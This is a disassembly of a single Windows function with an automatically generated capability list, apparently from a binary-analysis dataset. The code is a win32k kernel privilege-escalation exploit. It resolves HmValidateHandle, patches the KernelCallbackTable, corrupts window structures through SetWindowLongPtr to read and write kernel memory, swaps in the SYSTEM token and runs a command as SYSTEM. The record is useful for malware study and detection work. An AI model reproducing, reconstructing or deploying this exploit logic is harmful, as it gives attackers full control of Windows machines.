Function at 0x1400681ea
Capabilities:
Allocate or change rwx memory
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute shellcode via indirect call
Get process heap force flags
Read file on windows
Set registry value

Disassembly:
jmp 0x14006f810
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0xd1c8
call fcn.1400688f7
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x32da
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xd1e8]
mov rax, qword [0x140178008]
xor rax, rbp
mov qword [rbp + 0xd150], rax
lea rcx, [0x140189005]
call fcn.14006b1d8
lea rcx, str.pause
call fcn.1400697ac
call fcn.14006ad0f
test eax, eax
jne 0x14006f88d
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
call fcn.140069801
mov eax, 1
jmp 0x140070989
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUserConsoleControl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140179268], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtCallbackReturn
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140179270], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x58]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x3d8]
mov qword [0x140179218], rax
mov rax, qword [rbp + 8]
add rax, 0x3d8
lea r9, [rbp + 0x24]
mov r8d, 0x40
mov edx, 0x300
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rbp + 8]
lea rcx, [0x1400692a7]
mov qword [rax + 0x3d8], rcx
mov rax, qword [rbp + 8]
add rax, 0x3d8
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x24]
mov edx, 0x300
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call fcn.14006f7c0
mov ecx, eax
call fcn.14006a4c7
call fcn.140069efa
cdq
mov ecx, 0xff
idiv ecx
mov eax, edx
add eax, 0x1234
or eax, 1
cdqe
mov qword [0x140179220], rax
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x50
rep stosb byte [rdi], al
lea rax, [0x140068195]
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x50], 0x50
mov dword [rbp + 0x54], 3
mov dword [rbp + 0x60], 0
mov dword [rbp + 0x64], 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x68], rax
lea rax, str.normalClass
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov word [rbp + 0xb4], ax
mov eax, dword [0x140179220]
mov dword [rbp + 0x64], eax
lea rax, str.magicClass
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov word [rbp + 0xd4], ax
mov qword [rbp + 0xf8], 0x2c
mov qword [rbp + 0x118], 0x28
mov qword [rbp + 0x138], 0x40
mov qword [rbp + 0x158], 0x44
mov qword [rbp + 0x178], 0x58
mov qword [rbp + 0x198], 0x128
mov qword [rbp + 0x1b8], 0xc8
mov qword [rbp + 0x1d8], 0x18
mov qword [rbp + 0x1f8], 0x10
mov qword [rbp + 0x218], 0x220
mov qword [rbp + 0x238], 0x80
mov qword [rbp + 0x258], 0x98
mov qword [rbp + 0x278], 0x50
mov qword [rbp + 0x298], 0xe0
mov qword [rbp + 0x2b8], 0x2f0
mov qword [rbp + 0x2d8], 0x3e8
mov qword [rbp + 0x2f8], 0x360
mov qword [rbp + 0x318], 0x2e8
call qword [sym.imp.USER32.dll_CreatePopupMenu]
mov edx, 0x200
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x338], rax
mov edx, 0x30
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x358], rax
mov edx, 4
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x378], rax
mov edx, 0xa0
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x398], rax
mov edx, 8
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x438], rax
mov rax, qword [rbp + 0x3b8]
mov qword [0x140179230], rax
mov rax, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x358]
add rcx, rax
mov rax, rcx
mov dword [rax], 0x10
mov rax, qword [rbp + 0x3d8]
mov dword [rax], 0x88888888
mov eax, dword [rbp + 0x118]
shr eax, 3
shl eax, 1
mov eax, eax
mov rcx, qword [rbp + 0x3d8]
mov rdx, qword [rbp + 0x3f8]
mov qword [rcx + rax*4], rdx
mov eax, dword [rbp + 0x138]
shr rax, 2
mov rcx, qword [rbp + 0x3d8]
mov dword [rcx + rax*4], 1
mov eax, dword [rbp + 0x158]
shr rax, 2
mov rcx, qword [rbp + 0x3d8]
mov dword [rcx + rax*4], 1
mov eax, dword [rbp + 0x178]
shr rax, 3
shl rax, 1
mov rcx, qword [rbp + 0x3d8]
mov rdx, qword [rbp + 0x3b8]
mov qword [rcx + rax*4], rdx
mov rax, qword [rbp + 0x418]
mov qword [rax + 8], 0x10
mov rax, qword [rbp + 0x418]
mov rcx, qword [rbp + 0x3d8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x438]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x418]
mov qword [rax], rcx
lea rcx, str.CreateWnd_r_n
call fcn.140069801
lea rax, [rbp + 0x458]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov qword [rbp + 0x458], 0
mov qword [rbp + 0x460], 0
mov qword [rbp + 0x468], 0
mov qword [rbp + 0x470], 0
mov qword [rbp + 0x478], 0
mov qword [rbp + 0x480], 0
mov qword [rbp + 0x4a8], 0
mov qword [rbp + 0x4c8], 0xa
mov qword [rbp + 0x4e8], 0
mov qword [rbp + 0x508], 0
lea rax, [rbp + 0x530]
mov rdi, rax
xor eax, eax
mov ecx, 0x50
rep stosb byte [rdi], al
lea rax, [rbp + 0x5a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x50
rep stosb byte [rdi], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xd148], rax
call qword [sym.imp.USER32.dll_CreateMenu]
movzx ecx, word [rbp + 0xb4]
mov qword [rsp + 0x58], 0
mov rdx, qword [rbp + 0xd148]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x8000000
lea r8, str.somewnd
mov edx, ecx
mov ecx, 0x8000000
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x4a8]
mov rcx, qword [rbp + 0x608]
mov qword [rbp + rax*8 + 0x5a0], rcx
mov edx, 1
mov rcx, qword [rbp + 0x608]
call qword [0x140179210]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x4a8]
mov rcx, qword [rbp + 0x628]
mov qword [rbp + rax*8 + 0x530], rcx
mov r8, qword [rbp + 0x628]
mov rdx, qword [rbp + 0x608]
lea rcx, str.Hwnd:_08x___qwfirstEntryDesktop_p_r_n
call fcn.140069801
mov r8d, 0x30
lea rdx, [rbp + 0x458]
mov rcx, qword [rbp + 0x628]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov r8, qword [rbp + 0x470]
mov rdx, qword [rbp + 0x458]
lea rcx, str.BaseAddress:_p___RegionSize:_p_r_n
call fcn.140069801
cmp qword [0x140179258], 0
jne 0x14006fe4a
mov rax, qword [rbp + 0x458]
mov qword [0x140179258], rax
mov rax, qword [rbp + 0x470]
mov qword [0x140179260], rax
jmp 0x14006fe78
mov rax, qword [rbp + 0x458]
cmp qword [0x140179258], rax
jae 0x14006fe5c
jmp 0x14006fe78
mov rax, qword [rbp + 0x458]
mov qword [0x140179258], rax
mov rax, qword [rbp + 0x470]
mov qword [0x140179260], rax
mov rax, qword [rbp + 0x4a8]
inc rax
mov qword [rbp + 0x4a8], rax
mov rax, qword [rbp + 0x4c8]
dec rax
mov qword [rbp + 0x4c8], rax
cmp qword [rbp + 0x4c8], 0
jne 0x14006fd0f
mov r8, qword [0x140179260]
mov rdx, qword [0x140179258]
lea rcx, str.Min_BaseAddress:_p___RegionSize:_p_r_n
call fcn.140069801
mov eax, 8
imul rax, rax, 0
mov rax, qword [rbp + rax + 0x530]
mov eax, dword [rax + 8]
mov qword [rbp + 0x4e8], rax
mov eax, 8
imul rax, rax, 1
mov rax, qword [rbp + rax + 0x530]
mov eax, dword [rax + 8]
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x4e8]
cmp qword [rbp + 0x508], rax
jae 0x14006ff14
mov dword [rbp + 0xd144], 8
jmp 0x14006ff1e
mov dword [rbp + 0xd144], 0
movsxd rax, dword [rbp + 0xd144]
mov rax, qword [rbp + rax + 0x5a0]
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x664], 0
mov rax, qword [rbp + 0x508]
cmp qword [rbp + 0x4e8], rax
ja 0x14006ff58
mov dword [rbp + 0x664], 1
movsxd rax, dword [rbp + 0x664]
mov rax, qword [rbp + rax*8 + 0x5a0]
mov qword [0x140179238], rax
movsxd rax, dword [rbp + 0x664]
mov rax, qword [rbp + rax*8 + 0x530]
mov qword [rbp + 0x688], rax
movsxd rax, dword [rbp + 0x664]
mov rax, qword [rbp + rax*8 + 0x530]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x4e8]
cmp qword [rbp + 0x508], rax
jae 0x14006ffb6
mov dword [rbp + 0xd144], 8
jmp 0x14006ffc0
mov dword [rbp + 0xd144], 0
movsxd rax, dword [rbp + 0xd144]
mov rax, qword [rbp + rax + 0x530]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov dword [0x140179254], eax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 8]
mov dword [rbp + 0x6c4], eax
mov dword [rbp + 0x6e4], 2
jmp 0x140070010
mov eax, dword [rbp + 0x6e4]
inc eax
mov dword [rbp + 0x6e4], eax
cmp dword [rbp + 0x6e4], 0xa
jge 0x140070030
movsxd rax, dword [rbp + 0x6e4]
mov rcx, qword [rbp + rax*8 + 0x5a0]
call qword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x140070002
mov r8d, 0x10
lea rdx, [rbp + 0x648]
mov ecx, 6
call qword [0x140179268]
mov rax, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x6a8]
add rcx, rax
mov rax, rcx
mov eax, dword [rax]
mov dword [rbp + 0x704], eax
mov rax, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x688]
add rcx, rax
mov rax, rcx
mov eax, dword [rax]
mov dword [rbp + 0x724], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xd148], rax
call qword [sym.imp.USER32.dll_CreateMenu]
movzx ecx, word [rbp + 0xd4]
mov qword [rsp + 0x58], 0
mov rdx, qword [rbp + 0xd148]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x8000000
lea r8, str.somewnd
mov edx, ecx
mov ecx, 0x8000000
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbp + 0x748], rax
mov rdx, qword [rbp + 0x748]
lea rcx, str.realMagicHwnd_p_n
call fcn.140069801
mov r8d, dword [0x140179254]
mov edx, dword [rbp + 0x198]
mov rcx, qword [rbp + 0x748]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rbp + 0x764], eax
mov edx, dword [rbp + 0x764]
lea rcx, str.dwRet_p_r_n
call fcn.140069801
mov edx, dword [rbp + 0x704]
lea rcx, str.tagWndMin_offset_0x128_p_r_n
call fcn.140069801
mov r8d, 0xfffffff
mov edx, dword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x748]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov rax, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x688]
add rcx, rax
mov rax, rcx
mov rax, qword [rax]
mov qword [0x140179240], rax
movabs rax, 0x4000000000000000
mov rcx, qword [0x140179240]
xor rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x6c4]
mov rdx, qword [rbp + 0x1d8]
add rdx, rcx
mov rcx, rdx
mov edx, dword [0x140179254]
sub rcx, rdx
mov r8, rax
mov edx, ecx
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [rbp + 0x398]
mov edx, 0xfffffff4
mov rcx, qword [0x140179238]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov qword [0x140179228], rax
mov rdx, qword [0x140179228]
lea rcx, str.g_qwExpLoit_p_r_n
call fcn.140069801
mov eax, dword [0x140179254]
mov ecx, dword [rbp + 0x6c4]
sub ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rbp + 0x788], rax
mov rax, qword [0x140179228]
mov qword [rbp + 0x7a8], rax
mov eax, dword [rbp + 0x6c4]
mov rcx, qword [rbp + 0x1d8]
add rcx, rax
mov rax, rcx
mov ecx, dword [0x140179254]
sub rax, rcx
mov r8, qword [0x140179240]
mov edx, eax
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rax, qword [rbp + 0x278]
mov rcx, qword [0x140179228]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov qword [rbp + 0x7c8], rax
mov rdx, qword [rbp + 0x7c8]
lea rcx, str.qwFrist_read_p_r_n
call fcn.140069801
mov rax, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x7c8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, str.qwSecond_read_p_r_n
call fcn.140069801
mov rax, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x7e8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov qword [rbp + 0x808], rax
mov rdx, qword [rbp + 0x808]
lea rcx, str.qwSecond_read_p_r_n
call fcn.140069801
mov rax, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x7c8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov qword [rbp + 0x828], rax
mov rdx, qword [rbp + 0x828]
lea rcx, str.qwFourth_read_p_r_n
call fcn.140069801
mov rcx, qword [rbp + 0x828]
call fcn.140069a54
mov qword [rbp + 0x848], rax
mov rdx, qword [rbp + 0x848]
lea rcx, str.qwFifth_read_p_r_n
call fcn.140069801
mov rax, qword [rbp + 0x218]
mov rcx, qword [rbp + 0x848]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov qword [rbp + 0x868], rax
mov rdx, qword [rbp + 0x868]
lea rcx, str.qwSixth_read_p_r_n
call fcn.140069801
mov rax, qword [rbp + 0x868]
mov qword [rbp + 0x888], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x8a4], eax
mov qword [rbp + 0x8c8], 0
mov qword [rbp + 0x8e8], 0
mov qword [rbp + 0x908], 0
cmp qword [rbp + 0x8c8], 0
je 0x1400703e6
cmp qword [rbp + 0x908], 0
jne 0x14007049c
mov eax, dword [rbp + 0x318]
mov rcx, qword [rbp + 0x868]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov dword [rbp + 0x924], eax
cmp dword [rbp + 0x924], 4
jne 0x140070432
mov eax, dword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x868]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov qword [rbp + 0x8c8], rax
mov eax, dword [rbp + 0x8a4]
cmp dword [rbp + 0x924], eax
jne 0x14007045a
mov eax, dword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x868]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x908], rax
mov eax, dword [rbp + 0x2b8]
mov rcx, qword [rbp + 0x868]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140069a54
mov ecx, dword [rbp + 0x2b8]
sub rax, rcx
mov qword [rbp + 0x868], rax
mov rax, qword [rbp + 0x868]
cmp qword [rbp + 0x888], rax
jne 0x140070497
jmp 0x14007049c
jmp 0x1400703ce
mov eax, dword [rbp + 0x6c4]
add rax, qword [rbp + 0x198]
mov ecx, dword [0x140179254]
sub rax, rcx
mov r8, qword [rbp + 0x908]
mov edx, eax
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [rbp + 0x8c8]
xor edx, edx
mov rcx, qword [0x140179238]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
lea rax, [rbp + 0x9c0]
mov rdi, rax
xor eax, eax
mov ecx, 0xa000
rep stosb byte [rdi], al
mov edx, 0x68
lea rcx, [rbp + 0xa9e0]
call fcn.14006a2f6
mov edx, 0x18
lea rcx, [rbp + 0xaa68]
call fcn.14006a2f6
mov edx, 0x18
lea rcx, [rbp + 0x948]
call fcn.14006a2f6
mov dword [rbp + 0xaab4], 0
mov dword [rbp + 0x948], 0x18
mov qword [rbp + 0x950], 0
mov dword [rbp + 0x958], 1
xor r9d, r9d
lea r8, [rbp + 0x948]
lea rdx, [rbp + 0x998]
lea rcx, [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140070579
mov eax, 0xfffffffd
jmp 0x140070989
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xd188]
mov rdx, qword [rcx + rax]
lea rcx, str.___Trying_to_execute__s_as_SYSTEM_n
call fcn.140068203
mov dword [rbp + 0xa9e0], 0x68
lea rcx, [rbp + 0xa9e0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0xaa40], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0xaa38], rax
xor eax, eax
mov word [rbp + 0xaa20], ax
lea rax, str.WinSta0Default
mov qword [rbp + 0xa9f0], rax
mov dword [rbp + 0xaa1c], 0x101
lea rax, [rbp + 0xaae0]
mov rdi, rax
xor eax, eax
mov ecx, 0x2000
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xd188]
mov rdx, qword [rcx + rax]
lea rcx, [rbp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp + 0xaa68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa9e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xaae0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400706ac
mov rcx, qword [rbp + 0x998]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessW_Failed___lx__n
call fcn.140069801
mov eax, 0xfffffffe
jmp 0x140070989
mov rcx, qword [rbp + 0x998]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp + 0xaa78]
lea rcx, str.___ProcessCreated_with_pid__d__n
call fcn.140069801
xor eax, eax
cmp eax, 1
je 0x140070725
movsxd rax, dword [rbp + 0xaab4]
lea rax, [rbp + rax + 0x9c0]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xaa94]
mov r8d, 0xfa0
mov rdx, rax
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14007070d
jmp 0x140070725
mov eax, dword [rbp + 0xaa94]
mov ecx, dword [rbp + 0xaab4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0xaab4], eax
jmp 0x1400706cb
lea rcx, [0x140145ab0]
call fcn.140069432
lea rcx, [rbp + 0x9c0]
call fcn.140069432
mov ecx, 1
call fcn.14006b58e
mov rcx, rax
call fcn.14006a8c3
mov ecx, 2
call fcn.14006b58e
mov rcx, rax
call fcn.14006a8c3
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xaa68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
mov rcx, qword [rbp + 0x748]
call qword [0x140179210]
mov qword [rbp + 0xcaf8], rax
mov dword [rbp + 0xcb14], 8
mov rax, qword [rbp + 0x298]
mov rcx, qword [rbp + 0xcaf8]
add rcx, rax
mov rax, rcx
movabs rcx, 0x80000000000
mov rax, qword [rax]
xor rax, rcx
mov qword [rbp + 0xcb38], rax
movsxd rax, dword [rbp + 0xcb14]
mov rcx, qword [rbp + 0xcaf8]
mov eax, dword [rax + rcx]
mov rcx, qword [rbp + 0x808]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x198]
add rax, rcx
mov ecx, dword [rbp + 0x6c4]
mov rdx, qword [rbp + 0x198]
add rdx, rcx
mov rcx, rdx
mov edx, dword [0x140179254]
sub rcx, rdx
mov r8, rax
mov edx, ecx
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140179238]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
movsxd rax, dword [rbp + 0xcb14]
mov rcx, qword [rbp + 0xcaf8]
mov eax, dword [rax + rcx]
mov rcx, qword [rbp + 0x808]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x298]
add rax, rcx
mov ecx, dword [rbp + 0x6c4]
mov rdx, qword [rbp + 0x198]
add rdx, rcx
mov rcx, rdx
mov edx, dword [0x140179254]
sub rcx, rdx
mov r8, rax
mov edx, ecx
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [rbp + 0xcb38]
xor edx, edx
mov rcx, qword [0x140179238]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
movabs rax, 0x4000000000000000
mov rcx, qword [0x140179240]
xor rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x6c4]
mov rdx, qword [rbp + 0x1d8]
add rdx, rcx
mov rcx, rdx
mov edx, dword [0x140179254]
sub rcx, rdx
mov r8, rax
mov edx, ecx
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [rbp + 0x7a8]
mov edx, 0xfffffff4
mov rcx, qword [0x140179238]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov eax, dword [rbp + 0x6c4]
mov rcx, qword [rbp + 0x1d8]
add rcx, rax
mov rax, rcx
mov ecx, dword [0x140179254]
sub rax, rcx
mov r8, qword [0x140179240]
mov edx, eax
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov eax, dword [rbp + 0x724]
mov ecx, dword [rbp + 0x6c4]
mov rdx, qword [rbp + 0x198]
add rdx, rcx
mov rcx, rdx
mov edx, dword [0x140179254]
sub rcx, rdx
mov r8d, eax
mov edx, ecx
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov eax, dword [rbp + 0x704]
mov r8d, eax
mov edx, dword [rbp + 0x198]
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
lea rcx, str.pause
call fcn.1400697ac
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140145580]
call fcn.14006a93b
mov rax, rdi
mov rcx, qword [rbp + 0xd150]
xor rcx, rbp
call fcn.140069883
lea rsp, [rbp + 0xd168]
pop rdi
pop rbp
ret